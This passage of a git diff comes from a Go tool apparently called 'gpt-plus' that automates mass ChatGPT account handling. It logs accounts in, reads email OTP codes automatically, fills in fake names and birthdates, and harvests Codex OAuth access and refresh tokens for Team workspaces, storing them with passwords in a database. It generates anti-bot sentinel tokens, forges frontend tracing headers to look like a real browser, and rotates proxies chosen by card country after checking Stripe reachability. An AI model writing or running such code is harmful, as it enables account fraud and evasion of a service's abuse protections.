memberReg.Email, fmt.Sprintf("成员 %d: 登录成功", invIdx)) + } + + var memberWsToken, memberRefreshToken, memberIDToken, memberAccountID string + memberWsToken = memberLoginResult.AccessToken + memberRefreshToken = memberLoginResult.RefreshToken + memberIDToken = memberLoginResult.IDToken + memberAccountID = memberLoginResult.ChatGPTAccountID + + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 获取 Team OAuth 授权...", invIdx)) + for codexTry := 1; codexTry <= 3; codexTry++ { + memberCodex, err := auth.ObtainCodexTokens(ctx, memberClient, memberReg.DeviceID, teamResult.TeamAccountID) + if err != nil { + if codexTry < 3 { + time.Sleep(3 * time.Second) + } + continue + } + if memberCodex.ChatGPTAccountID == teamResult.TeamAccountID { + memberWsToken = memberCodex.AccessToken + memberRefreshToken = memberCodex.RefreshToken + if memberCodex.IDToken != "" { + memberIDToken = memberCodex.IDToken + } + memberAccountID = memberCodex.ChatGPTAccountID + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: Team OAuth 成功", invIdx)) + break + } + if codexTry < 3 { + time.Sleep(3 * time.Second) + } + } + + memberAuth := &chatgpt.AccountResult{ + Email: memberReg.Email, Password: memberPassword, + AccessToken: memberWsToken, RefreshToken: memberRefreshToken, + IDToken: memberIDToken, ChatGPTAccountID: memberAccountID, + ChatGPTUserID: memberLoginResult.ChatGPTUserID, + TeamAccountID: teamResult.TeamAccountID, WorkspaceToken: memberWsToken, + PlanType: "team", Proxy: cfg.Proxy.URL, + CreatedAt: time.Now().UTC().Format(time.RFC3339), + } + storage.SaveTeamAuthFile(cfg.Output.Dir, memberAuth) + r.saveAccountToDB(memberAuth, "team_member", parentID, r.taskID) + r.updateEmailRecord(memberReg.Email, "used_member") + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 已保存 (account=%s)", invIdx, memberAccountID)) + } +} + +func (r *TaskRunner) logStep(index int, email, message string) { + r.gormDB.Create(&db.TaskLog{ + TaskID: r.taskID, + Index: index, + Email: email, + Status: "step", + Message: message, + }) +} + +func (r *TaskRunner) logResult(t *db.Task, index int, email, status, plan, errMsg string, duration int) { + message := status + if errMsg != "" { + message = errMsg + } else if plan != "" { + message = "membership verified: " + plan + } + logEntry := &db.TaskLog{ + TaskID: r.taskID, + Index: index, + Email: email, + Status: status, + Plan: plan, + Error: errMsg, + Duration: duration, + Message: message, + } + r.gormDB.Create(logEntry) + + t.DoneCount++ + if status == LogStatusSuccess { + t.SuccessCount++ + } else { + t.FailCount++ + } + r.gormDB.Model(t).Updates(map[string]interface{}{ + "done_count": t.DoneCount, + "success_count": t.SuccessCount, + "fail_count": t.FailCount, + }) +} + +func (r *TaskRunner) failTask(t *db.Task, errMsg string) { + now := time.Now() + t.Status = StatusStopped + t.StoppedAt = &now + r.gormDB.Save(t) + log.Printf("[task-runner] %s: task failed: %s", r.taskID, errMsg) +} + +func (r *TaskRunner) saveEmailRecord(email, status, role string) { + rec := &db.EmailRecord{ + Email: email, + Status: status, + UsedForRole: role, + TaskID: r.taskID, + } + r.gormDB.Create(rec) +} + +func (r *TaskRunner) updateEmailRecord(email, status string) { + r.gormDB.Model(&db.EmailRecord{}).Where("email = ?", email).Update("status", status) +} + +func teamAccountIDFromResult(result *chatgpt.TeamResult) string { + if result == nil { + return "" + } + return result.TeamAccountID +} + +func accountStatusForResult(result *chatgpt.AccountResult) string { + if result == nil { + return "active" + } + switch result.PlanType { + case "free", "plus", "team": + return result.PlanType + default: + return "active" + } +} + +func (r *TaskRunner) saveAccountToDB(result *chatgpt.AccountResult, plan string, parentID *uint, taskID string) *uint { + // Check if account already exists (same email) + var existing db.Account + if r.gormDB.Where("email = ?", result.Email).First(&existing).Error == nil { + // Update existing record (e.g. Plus account now also has Team) + updates := map[string]interface{}{ + "plan": plan, + "access_token": result.AccessToken, + "refresh_token": result.RefreshToken, + "id_token": result.IDToken, + "account_id": result.ChatGPTAccountID, + "user_id": result.ChatGPTUserID, + "team_workspace_id": result.TeamAccountID, + "workspace_token": result.WorkspaceToken, + "status": accountStatusForResult(result), + } + if parentID != nil { + updates["parent_id"] = *parentID + } + r.gormDB.Model(&existing).Updates(updates) + return &existing.ID + } + + acct := &db.Account{ + TaskID: taskID, + Email: result.Email, + Password: result.Password, + Plan: plan, + ParentID: parentID, + AccessToken: result.AccessToken, + RefreshToken: result.RefreshToken, + IDToken: result.IDToken, + AccountID: result.ChatGPTAccountID, + UserID: result.ChatGPTUserID, + TeamWorkspaceID: result.TeamAccountID, + WorkspaceToken: result.WorkspaceToken, + Status: accountStatusForResult(result), + } + r.gormDB.Create(acct) + return &acct.ID +} + +func (r *TaskRunner) getB2ProxyClient(cfg *config.Config, cardCountry string, index int, solver *captcha.Solver) *httpclient.Client { + for try := 1; try <= 5; try++ { + proxyURL, err := proxy.FetchB2Proxy(cfg.Proxy.B2Proxy, cardCountry) + if err != nil { + time.Sleep(time.Second) + continue + } + c, err := httpclient.NewClient(proxyURL) + if err != nil { + continue + } + if testStripeConnectivity(c) { + if solver != nil { + solver.SetProxy(proxyURL) + } + return c + } + } + return nil +} + +func (r *TaskRunner) getSessionClient(cfg *config.Config, index int, solver *captcha.Solver) *httpclient.Client { + for try := 1; try <= 5; try++ { + sessionID := randomSessionID() + proxyURL := strings.ReplaceAll(cfg.Proxy.URL, "{SESSION}", sessionID) + c, err := httpclient.NewClient(proxyURL) + if err != nil { + continue + } + if testStripeConnectivity(c) { + if solver != nil { + solver.SetProxy(proxyURL) + } + return c + } + } + return nil +} + +func testStripeConnectivity(client *httpclient.Client) bool { + req, err := http.NewRequest("GET", "https://m.stripe.com/6", nil) + if err != nil { + return false + } + req.Header.Set("User-Agent", "Mozilla/5.0") + resp, err := client.Do(req) + if err != nil { + return false + } + resp.Body.Close() + + req2, _ := http.NewRequest("GET", "https://api.stripe.com", nil) + req2.Header.Set("User-Agent", "Mozilla/5.0") + resp2, err := client.Do(req2) + if err != nil { + return false + } + resp2.Body.Close() + return true +} + +func generatePassword(length int) string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%" + b := make([]byte, length) + for i := range b { + n, err := rand.Int(rand.Reader, big.NewInt(int64(len(charset)))) + if err != nil { + b[i] = charset[i%len(charset)] + continue + } + b[i] = charset[n.Int64()] + } + return string(b) +} + +func randomSessionID() string { + const chars = "abcdefghijklmnopqrstuvwxyz0123456789" + b := make([]byte, 16) + for i := range b { + n, _ := rand.Int(rand.Reader, big.NewInt(int64(len(chars)))) + b[i] = chars[n.Int64()] + } + return string(b) +} diff --git a/internal/task/types.go b/internal/task/types.go new file mode 100644 index 0000000..bb1e16d --- /dev/null +++ b/internal/task/types.go @@ -0,0 +1,18 @@ +package task + +const ( + StatusPending = "pending" + StatusRunning = "running" + StatusStopping = "stopping" + StatusStopped = "stopped" + StatusInterrupted = "interrupted" + StatusCompleted = "completed" + + LogStatusSuccess = "success" + LogStatusFailed = "failed" + LogStatusSkipped = "skipped" + + TaskTypePlus = "plus" + TaskTypeTeam = "team" + TaskTypeBoth = "both" +) diff --git a/pkg/auth/codex.go b/pkg/auth/codex.go new file mode 100644 index 0000000..c9f894b --- /dev/null +++ b/pkg/auth/codex.go @@ -0,0 +1,154 @@ +package auth + +import ( + "context" + "fmt" + "log" + "net/http" + "net/url" + "strings" + + "gpt-plus/pkg/httpclient" +) + +// ObtainCodexTokens performs a lightweight OAuth re-authorization using existing +// session cookies to obtain Codex CLI tokens (with refresh_token) for a specific workspace. +// +// This should be called AFTER activation is complete, when the cookie jar already +// contains valid session cookies from the initial login. +// +// targetWorkspaceID: the workspace/account ID to authorize for. Pass "" to use the default (first) workspace. +func ObtainCodexTokens( + ctx context.Context, + client *httpclient.Client, + deviceID string, + targetWorkspaceID string, +) (*LoginResult, error) { + log.Printf("[codex] obtaining Codex CLI tokens for workspace=%s", targetWorkspaceID) + + // Ensure oai-did cookie is set + cookieURL, _ := url.Parse(oauthIssuer) + client.GetCookieJar().SetCookies(cookieURL, []*http.Cookie{ + {Name: "oai-did", Value: deviceID}, + }) + + // Generate fresh PKCE pair and state for this authorization + codeVerifier, codeChallenge := generatePKCE() + state := generateState() + + // Build authorize URL with Codex CLI params + authorizeParams := url.Values{ + "response_type": {"code"}, + "client_id": {oauthClientID}, + "redirect_uri": {oauthRedirectURI}, + "scope": {oauthScope}, + "code_challenge": {codeChallenge}, + "code_challenge_method": {"S256"}, + "state": {state}, + "id_token_add_organizations": {"true"}, + "codex_cli_simplified_flow": {"true"}, + } + authorizeURL := oauthIssuer + "/oauth/authorize?" + authorizeParams.Encode() + navH := navigateHeaders() + + if targetWorkspaceID == "" { + // Default workspace: auto-follow redirects and use shortcut if code is returned directly. + resp, err := client.Get(authorizeURL, navH) + if err != nil { + return nil, fmt.Errorf("codex authorize request: %w", err) + } + httpclient.ReadBody(resp) + + if resp.Request != nil { + if code := extractCodeFromURL(resp.Request.URL.String()); code != "" { + log.Printf("[codex] got code directly from authorize redirect (default workspace)") + return exchangeCodeForTokens(ctx, client, code, codeVerifier) + } + } + + log.Printf("[codex] authorize response: status=%d, url=%s", resp.StatusCode, resp.Request.URL.String()) + + // Fallback: go through consent flow + consentURL := oauthIssuer + "/sign-in-with-chatgpt/codex/consent" + authCode, err := followConsentRedirects(ctx, client, deviceID, consentURL, "") + if err != nil { + return nil, fmt.Errorf("codex consent flow: %w", err) + } + return exchangeCodeForTokens(ctx, client, authCode, codeVerifier) + } + + // ===== Specific workspace requested (e.g. Team) ===== + log.Printf("[codex] specific workspace requested, using manual redirect flow") + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, authorizeURL, nil) + if err != nil { + return nil, fmt.Errorf("codex build authorize request: %w", err) + } + for k, v := range navH { + req.Header.Set(k, v) + } + + // Follow redirects manually. Stop when we see the consent page or a code for the wrong workspace. + currentURL := authorizeURL + for i := 0; i < 15; i++ { + resp, err := client.DoNoRedirect(req) + if err != nil { + if code := extractCodeFromURL(currentURL); code != "" { + log.Printf("[codex] got code from failed redirect (default workspace), ignoring — need workspace %s", targetWorkspaceID) + break + } + return nil, fmt.Errorf("codex authorize redirect: %w", err) + } + httpclient.ReadBody(resp) + + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + loc := resp.Header.Get("Location") + if loc == "" { + break + } + if !strings.HasPrefix(loc, "http") { + loc = oauthIssuer + loc + } + + if code := extractCodeFromURL(loc); code != "" { + log.Printf("[codex] auto-redirect has code (default workspace), ignoring — need workspace %s", targetWorkspaceID) + break + } + + log.Printf("[codex] redirect %d: %d → %s", i+1, resp.StatusCode, truncURL(loc)) + currentURL = loc + req, _ = http.NewRequestWithContext(ctx, http.MethodGet, loc, nil) + for k, v := range navH { + req.Header.Set(k, v) + } + continue + } + + log.Printf("[codex] reached page: status=%d, url=%s", resp.StatusCode, currentURL) + break + } + + // Now go through the consent flow with the target workspace. + consentURL := oauthIssuer + "/sign-in-with-chatgpt/codex/consent" + authCode, err := followConsentRedirects(ctx, client, deviceID, consentURL, targetWorkspaceID) + if err != nil { + return nil, fmt.Errorf("codex consent flow for workspace %s: %w", targetWorkspaceID, err) + } + + tokens, err := exchangeCodeForTokens(ctx, client, authCode, codeVerifier) + if err != nil { + return nil, fmt.Errorf("codex token exchange: %w", err) + } + + log.Printf("[codex] tokens obtained for workspace %s: has_refresh=%v, account_id=%s", + targetWorkspaceID, tokens.RefreshToken != "", tokens.ChatGPTAccountID) + return tokens, nil +} + +// truncURL shortens a URL for logging. +func truncURL(u string) string { + if len(u) > 100 { + return u[:100] + "..." + } + return u +} diff --git a/pkg/auth/datadog.go b/pkg/auth/datadog.go new file mode 100644 index 0000000..a2ea740 --- /dev/null +++ b/pkg/auth/datadog.go @@ -0,0 +1,47 @@ +package auth + +import ( + "crypto/rand" + "fmt" + "math/big" +) + +// GenerateDatadogHeaders generates Datadog APM tracing headers +// matching the format used by the OpenAI frontend. +func GenerateDatadogHeaders() map[string]string { + traceID := randomDigits(19) + parentID := randomDigits(16) + traceHex := fmt.Sprintf("%016x", mustParseUint(traceID)) + parentHex := fmt.Sprintf("%016x", mustParseUint(parentID)) + + return map[string]string{ + "traceparent": fmt.Sprintf("00-0000000000000000%s-%s-01", traceHex, parentHex), + "tracestate": "dd=s:1;o:rum", + "x-datadog-origin": "rum", + "x-datadog-parent-id": parentID, + "x-datadog-sampling-priority": "1", + "x-datadog-trace-id": traceID, + } +} + +func randomDigits(n int) string { + result := make([]byte, n) + for i := range result { + v, _ := rand.Int(rand.Reader, big.NewInt(10)) + result[i] = '0' + byte(v.Int64()) + } + // Ensure first digit is not 0 + if result[0] == '0' { + v, _ := rand.Int(rand.Reader, big.NewInt(9)) + result[0] = '1' + byte(v.Int64()) + } + return string(result) +} + +func mustParseUint(s string) uint64 { + var result uint64 + for _, c := range s { + result = result*10 + uint64(c-'0') + } + return result +} diff --git a/pkg/auth/oauth.go b/pkg/auth/oauth.go new file mode 100644 index 0000000..b467f28 --- /dev/null +++ b/pkg/auth/oauth.go @@ -0,0 +1,709 @@ +package auth + +import ( + "context" + "encoding/base64" + "encoding/json" + "errors" + "fmt" + "log" + "net/http" + "net/url" + "strings" + "time" + + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/provider/email" +) + +// LoginResult holds the tokens obtained from a successful OAuth login. +type LoginResult struct { + AccessToken string + RefreshToken string + IDToken string + ChatGPTAccountID string + ChatGPTUserID string +} + +// Login performs the full OAuth login flow: authorize -> password verify -> token exchange. +func Login( + ctx context.Context, + client *httpclient.Client, + emailAddr, password, deviceID string, + sentinel *SentinelGenerator, + mailboxID string, + emailProvider email.EmailProvider, +) (*LoginResult, error) { + // Keep registration cookies — the verified email session helps skip OTP during login. + // Only ensure oai-did is set. + cookieURL, _ := url.Parse(oauthIssuer) + client.GetCookieJar().SetCookies(cookieURL, []*http.Cookie{ + {Name: "oai-did", Value: deviceID}, + }) + + // Generate PKCE and state + codeVerifier, codeChallenge := generatePKCE() + state := generateState() + + // ===== Step 1: GET /oauth/authorize (no screen_hint) ===== + authorizeParams := url.Values{ + "response_type": {"code"}, + "client_id": {oauthClientID}, + "redirect_uri": {oauthRedirectURI}, + "scope": {oauthScope}, + "code_challenge": {codeChallenge}, + "code_challenge_method": {"S256"}, + "state": {state}, + "id_token_add_organizations": {"true"}, + "codex_cli_simplified_flow": {"true"}, + } + authorizeURL := oauthIssuer + "/oauth/authorize?" + authorizeParams.Encode() + + navH := navigateHeaders() + resp, err := client.Get(authorizeURL, navH) + if err != nil { + return nil, fmt.Errorf("step1 authorize: %w", err) + } + httpclient.ReadBody(resp) + + // ===== Step 2: POST authorize/continue with email ===== + sentinelToken, err := sentinel.GenerateToken(ctx, client, "authorize_continue") + if err != nil { + return nil, fmt.Errorf("step2 sentinel: %w", err) + } + + headers := commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/log-in" + headers["openai-sentinel-token"] = sentinelToken + + continueBody := map[string]interface{}{ + "username": map[string]string{"kind": "email", "value": emailAddr}, + } + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/authorize/continue", continueBody, headers) + if err != nil { + return nil, fmt.Errorf("step2 authorize/continue: %w", err) + } + body, _ := httpclient.ReadBody(resp) + if resp.StatusCode != 200 { + return nil, fmt.Errorf("step2 failed (%d): %s", resp.StatusCode, string(body)) + } + + // ===== Step 3: POST password/verify ===== + sentinelToken, err = sentinel.GenerateToken(ctx, client, "password_verify") + if err != nil { + return nil, fmt.Errorf("step3 sentinel: %w", err) + } + + headers = commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/log-in/password" + headers["openai-sentinel-token"] = sentinelToken + + pwBody := map[string]string{"password": password} + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/password/verify", pwBody, headers) + if err != nil { + return nil, fmt.Errorf("step3 password/verify: %w", err) + } + body, _ = httpclient.ReadBody(resp) + if resp.StatusCode != 200 { + return nil, fmt.Errorf("step3 password verify failed (%d): %s", resp.StatusCode, string(body)) + } + + var verifyResp struct { + ContinueURL string `json:"continue_url"` + Page struct { + Type string `json:"type"` + } `json:"page"` + } + json.Unmarshal(body, &verifyResp) + continueURL := verifyResp.ContinueURL + pageType := verifyResp.Page.Type + log.Printf("[login] step3 password/verify: status=%d, page=%s, continue=%s", resp.StatusCode, pageType, continueURL) + + // ===== Step 3.5: Email OTP verification (if triggered for new accounts) ===== + if pageType == "email_otp_verification" || pageType == "email_otp_send" || + strings.Contains(continueURL, "email-verification") || strings.Contains(continueURL, "email-otp") { + if mailboxID == "" || emailProvider == nil { + return nil, errors.New("email verification required but no mailbox/provider available") + } + + // Trigger the OTP send explicitly (like registration does) and poll for delivery. + log.Printf("[login] step3.5 OTP required — triggering email-otp/send...") + + // Snapshot existing emails BEFORE triggering the send, to skip the registration OTP. + sendHeaders := commonHeaders(deviceID) + sendHeaders["referer"] = oauthIssuer + "/email-verification" + + // GET /api/accounts/email-otp/send to trigger the OTP email + _, err = client.Get(oauthIssuer+"/api/accounts/email-otp/send", sendHeaders) + if err != nil { + log.Printf("[login] step3.5 email-otp/send failed (non-fatal): %v", err) + } + + otpCode, err := emailProvider.WaitForVerificationCode(ctx, mailboxID, 120*time.Second, time.Now()) + if err != nil { + return nil, fmt.Errorf("step3.5 wait for otp: %w", err) + } + if otpCode == "" { + return nil, errors.New("step3.5 wait for otp: empty code returned") + } + log.Printf("[login] step3.5 got OTP code: %s", otpCode) + + headers = commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/email-verification" + + otpBody := map[string]string{"code": otpCode} + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/email-otp/validate", otpBody, headers) + if err != nil { + return nil, fmt.Errorf("step3.5 validate otp: %w", err) + } + body, _ = httpclient.ReadBody(resp) + if resp.StatusCode != 200 { + return nil, fmt.Errorf("step3.5 otp validate failed (%d): %s", resp.StatusCode, string(body)) + } + + json.Unmarshal(body, &verifyResp) + continueURL = verifyResp.ContinueURL + pageType = verifyResp.Page.Type + log.Printf("[login] step3.5 otp validate: page=%s, continue=%s", pageType, continueURL) + + // If about-you step needed, submit name/birthdate + if strings.Contains(continueURL, "about-you") { + firstName, lastName := generateRandomName() + birthdate := generateRandomBirthday() + + headers = commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/about-you" + + createBody := map[string]string{ + "name": firstName + " " + lastName, + "birthdate": birthdate, + } + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/create_account", createBody, headers) + if err != nil { + return nil, fmt.Errorf("step3.5 create_account: %w", err) + } + body, _ = httpclient.ReadBody(resp) + if resp.StatusCode == 200 { + var createResp struct { + ContinueURL string `json:"continue_url"` + } + json.Unmarshal(body, &createResp) + continueURL = createResp.ContinueURL + } else if resp.StatusCode == 400 && strings.Contains(string(body), "already_exists") { + continueURL = oauthIssuer + "/sign-in-with-chatgpt/codex/consent" + } + } + } + + // Handle consent page type + if strings.Contains(pageType, "consent") || continueURL == "" { + continueURL = oauthIssuer + "/sign-in-with-chatgpt/codex/consent" + } + + log.Printf("[login] step4 entering consent flow: page=%s, continue=%s", pageType, continueURL) + + // ===== Step 4: Follow consent/workspace/organization redirects to extract code ===== + authCode, err := followConsentRedirects(ctx, client, deviceID, continueURL, "") + if err != nil { + return nil, fmt.Errorf("step4 consent flow: %w", err) + } + + // ===== Step 5: Exchange code for tokens ===== + tokens, err := exchangeCodeForTokens(ctx, client, authCode, codeVerifier) + if err != nil { + return nil, fmt.Errorf("step5 token exchange: %w", err) + } + + return tokens, nil +} + +// decodeAuthSessionCookie parses the oai-client-auth-session cookie. +// Format: base64(json).timestamp.signature (Flask/itsdangerous style). +func decodeAuthSessionCookie(client *httpclient.Client) (map[string]interface{}, error) { + cookieURL, _ := url.Parse(oauthIssuer) + for _, c := range client.GetCookieJar().Cookies(cookieURL) { + if c.Name == "oai-client-auth-session" { + val := c.Value + firstPart := val + if idx := strings.Index(val, "."); idx > 0 { + firstPart = val[:idx] + } + // Add base64 padding + if pad := 4 - len(firstPart)%4; pad != 4 { + firstPart += strings.Repeat("=", pad) + } + raw, err := base64.URLEncoding.DecodeString(firstPart) + if err != nil { + // Try standard base64 + raw, err = base64.StdEncoding.DecodeString(firstPart) + if err != nil { + return nil, fmt.Errorf("decode auth session base64: %w", err) + } + } + var data map[string]interface{} + if err := json.Unmarshal(raw, &data); err != nil { + return nil, fmt.Errorf("parse auth session json: %w", err) + } + return data, nil + } + } + return nil, errors.New("oai-client-auth-session cookie not found") +} + +// followConsentRedirects navigates through consent, workspace/select, organization/select +// until extracting the authorization code from the callback URL. +// targetWorkspaceID: if non-empty, select this specific workspace instead of the first one. +func followConsentRedirects(ctx context.Context, client *httpclient.Client, deviceID, continueURL, targetWorkspaceID string) (string, error) { + // Normalize URL + if strings.HasPrefix(continueURL, "/") { + continueURL = oauthIssuer + continueURL + } + + navH := navigateHeaders() + var resp *http.Response + + if targetWorkspaceID == "" { + // Default: auto-follow redirects. If we get a code directly, use it. + var err error + resp, err = client.Get(continueURL, navH) + if err != nil { + return "", fmt.Errorf("get consent: %w", err) + } + httpclient.ReadBody(resp) + + if resp.Request != nil { + if code := extractCodeFromURL(resp.Request.URL.String()); code != "" { + return code, nil + } + } + log.Printf("[login] consent page: status=%d, final_url=%s", resp.StatusCode, resp.Request.URL.String()) + } else { + // Specific workspace: use DoNoRedirect to prevent auto-selecting the default workspace. + currentURL := continueURL + for i := 0; i < 15; i++ { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, currentURL, nil) + if err != nil { + return "", fmt.Errorf("build consent redirect request: %w", err) + } + for k, v := range navH { + req.Header.Set(k, v) + } + + resp, err := client.DoNoRedirect(req) + if err != nil { + if code := extractCodeFromURL(currentURL); code != "" { + log.Printf("[login] consent redirect got default code, ignoring for workspace %s", targetWorkspaceID) + break + } + return "", fmt.Errorf("consent redirect: %w", err) + } + httpclient.ReadBody(resp) + + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + loc := resp.Header.Get("Location") + if loc == "" { + break + } + if !strings.HasPrefix(loc, "http") { + loc = oauthIssuer + loc + } + if code := extractCodeFromURL(loc); code != "" { + log.Printf("[login] consent redirect has default code, ignoring for workspace %s", targetWorkspaceID) + break + } + log.Printf("[login] consent redirect %d: %d → %s", i+1, resp.StatusCode, loc) + currentURL = loc + continue + } + log.Printf("[login] consent page reached: status=%d, url=%s", resp.StatusCode, currentURL) + break + } + } + + // Decode oai-client-auth-session cookie to extract workspace data + sessionData, err := decodeAuthSessionCookie(client) + if err != nil { + log.Printf("[login] warning: %v", err) + cookieURL, _ := url.Parse(oauthIssuer) + for _, c := range client.GetCookieJar().Cookies(cookieURL) { + log.Printf("[login] cookie: %s (len=%d)", c.Name, len(c.Value)) + } + return "", fmt.Errorf("consent flow: %w", err) + } + + log.Printf("[login] decoded auth session, keys: %v", getMapKeys(sessionData)) + + // Extract workspace_id from session data + var workspaceID string + if workspaces, ok := sessionData["workspaces"].([]interface{}); ok && len(workspaces) > 0 { + // If a specific workspace is requested, find it by ID + if targetWorkspaceID != "" { + for _, w := range workspaces { + if ws, ok := w.(map[string]interface{}); ok { + if id, ok := ws["id"].(string); ok && id == targetWorkspaceID { + workspaceID = id + kind, _ := ws["kind"].(string) + log.Printf("[login] matched target workspace_id: %s (kind: %s)", workspaceID, kind) + break + } + } + } + if workspaceID == "" { + log.Printf("[login] target workspace %s not found in session, falling back to first", targetWorkspaceID) + } + } + // Fallback to first workspace if target not found or not specified + if workspaceID == "" { + if ws, ok := workspaces[0].(map[string]interface{}); ok { + if id, ok := ws["id"].(string); ok { + workspaceID = id + kind, _ := ws["kind"].(string) + log.Printf("[login] workspace_id: %s (kind: %s)", workspaceID, kind) + } + } + } + } + + if workspaceID == "" { + // For new accounts that have no workspaces yet, try direct authorize flow + // The consent page itself might have set up the session — try following the + // authorize URL again which should now redirect with a code + log.Printf("[login] no workspaces in session, trying re-authorize...") + code, err := followRedirectsForCode(ctx, client, continueURL) + if err == nil && code != "" { + return code, nil + } + return "", errors.New("no workspace_id found in auth session cookie and re-authorize failed") + } + + // POST workspace/select (no redirect following) + headers := commonHeaders(deviceID) + headers["referer"] = continueURL + + wsBody := map[string]string{"workspace_id": workspaceID} + wsJSON, _ := json.Marshal(wsBody) + req, err := http.NewRequestWithContext(ctx, http.MethodPost, oauthIssuer+"/api/accounts/workspace/select", strings.NewReader(string(wsJSON))) + if err != nil { + return "", fmt.Errorf("build workspace/select request: %w", err) + } + for k, v := range headers { + req.Header.Set(k, v) + } + resp, err = client.DoNoRedirect(req) + if err != nil { + return "", fmt.Errorf("workspace/select: %w", err) + } + wsData, _ := httpclient.ReadBody(resp) + log.Printf("[login] workspace/select: status=%d", resp.StatusCode) + + // Check for redirect with code + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + loc := resp.Header.Get("Location") + if code := extractCodeFromURL(loc); code != "" { + return code, nil + } + // Follow redirect chain + if loc != "" { + if !strings.HasPrefix(loc, "http") { + loc = oauthIssuer + loc + } + code, err := followRedirectsForCode(ctx, client, loc) + if err == nil && code != "" { + return code, nil + } + } + } + + // Parse workspace/select response for org data + if resp.StatusCode == 200 { + var wsResp struct { + Data struct { + Orgs []struct { + ID string `json:"id"` + Projects []struct { + ID string `json:"id"` + } `json:"projects"` + } `json:"orgs"` + } `json:"data"` + ContinueURL string `json:"continue_url"` + } + json.Unmarshal(wsData, &wsResp) + + // Extract org_id and project_id + var orgID, projectID string + if len(wsResp.Data.Orgs) > 0 { + orgID = wsResp.Data.Orgs[0].ID + if len(wsResp.Data.Orgs[0].Projects) > 0 { + projectID = wsResp.Data.Orgs[0].Projects[0].ID + } + } + + if orgID != "" { + log.Printf("[login] org_id: %s, project_id: %s", orgID, projectID) + + // POST organization/select + orgBody := map[string]string{"org_id": orgID} + if projectID != "" { + orgBody["project_id"] = projectID + } + orgJSON, _ := json.Marshal(orgBody) + orgReq, err := http.NewRequestWithContext(ctx, http.MethodPost, oauthIssuer+"/api/accounts/organization/select", strings.NewReader(string(orgJSON))) + if err != nil { + return "", fmt.Errorf("build organization/select request: %w", err) + } + for k, v := range headers { + orgReq.Header.Set(k, v) + } + resp, err = client.DoNoRedirect(orgReq) + if err != nil { + return "", fmt.Errorf("organization/select: %w", err) + } + orgData, _ := httpclient.ReadBody(resp) + log.Printf("[login] organization/select: status=%d", resp.StatusCode) + + // Check for redirect with code + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + loc := resp.Header.Get("Location") + if code := extractCodeFromURL(loc); code != "" { + return code, nil + } + if loc != "" { + if !strings.HasPrefix(loc, "http") { + loc = oauthIssuer + loc + } + code, err := followRedirectsForCode(ctx, client, loc) + if err == nil && code != "" { + return code, nil + } + } + } + + // Parse continue_url from response + if resp.StatusCode == 200 { + var orgResp struct { + ContinueURL string `json:"continue_url"` + } + json.Unmarshal(orgData, &orgResp) + if orgResp.ContinueURL != "" { + continueURL = orgResp.ContinueURL + } + } + } else if wsResp.ContinueURL != "" { + continueURL = wsResp.ContinueURL + } + } + + // Follow the final redirect chain to extract the authorization code + if strings.HasPrefix(continueURL, "/") { + continueURL = oauthIssuer + continueURL + } + + code, err := followRedirectsForCode(ctx, client, continueURL) + if err != nil { + return "", err + } + if code == "" { + return "", errors.New("could not extract authorization code from redirect chain") + } + return code, nil +} + +// getMapKeys returns the keys of a map for logging. +func getMapKeys(m map[string]interface{}) []string { + keys := make([]string, 0, len(m)) + for k := range m { + keys = append(keys, k) + } + return keys +} + +// followRedirectsForCode follows HTTP redirects manually to capture the code from the callback URL. +func followRedirectsForCode(ctx context.Context, client *httpclient.Client, startURL string) (string, error) { + currentURL := startURL + navH := navigateHeaders() + + for i := 0; i < 20; i++ { // max 20 redirects + // Before making the request, check if the current URL itself contains the code + // (e.g. localhost callback that we can't actually connect to) + if code := extractCodeFromURL(currentURL); code != "" { + log.Printf("[login] extracted code from URL before request: %s", currentURL) + return code, nil + } + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, currentURL, nil) + if err != nil { + return "", fmt.Errorf("build redirect request: %w", err) + } + for k, v := range navH { + req.Header.Set(k, v) + } + + resp, err := client.DoNoRedirect(req) + if err != nil { + // Connection error to localhost callback — extract code from the URL we were trying to reach + if code := extractCodeFromURL(currentURL); code != "" { + log.Printf("[login] extracted code from failed redirect URL: %s", currentURL) + return code, nil + } + return "", fmt.Errorf("redirect request to %s: %w", currentURL, err) + } + httpclient.ReadBody(resp) + + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + loc := resp.Header.Get("Location") + if loc == "" { + return "", errors.New("redirect with no Location header") + } + if !strings.HasPrefix(loc, "http") { + loc = oauthIssuer + loc + } + + log.Printf("[login] redirect %d: %d → %s", i+1, resp.StatusCode, loc) + + if code := extractCodeFromURL(loc); code != "" { + return code, nil + } + currentURL = loc + continue + } + log.Printf("[login] redirect chain ended: status=%d, url=%s", resp.StatusCode, currentURL) + + // Check the final URL for code + if resp.Request != nil { + if code := extractCodeFromURL(resp.Request.URL.String()); code != "" { + return code, nil + } + } + break + } + return "", nil +} + +// exchangeCodeForTokens exchanges an authorization code for OAuth tokens. +func exchangeCodeForTokens(ctx context.Context, client *httpclient.Client, code, codeVerifier string) (*LoginResult, error) { + tokenURL := oauthIssuer + "/oauth/token" + + values := url.Values{ + "grant_type": {"authorization_code"}, + "code": {code}, + "redirect_uri": {oauthRedirectURI}, + "client_id": {oauthClientID}, + "code_verifier": {codeVerifier}, + } + + headers := map[string]string{ + "Content-Type": "application/x-www-form-urlencoded", + } + + var tokenResp struct { + AccessToken string `json:"access_token"` + RefreshToken string `json:"refresh_token"` + IDToken string `json:"id_token"` + TokenType string `json:"token_type"` + ExpiresIn int `json:"expires_in"` + } + + var lastErr error + for attempt := 0; attempt < 2; attempt++ { + resp, 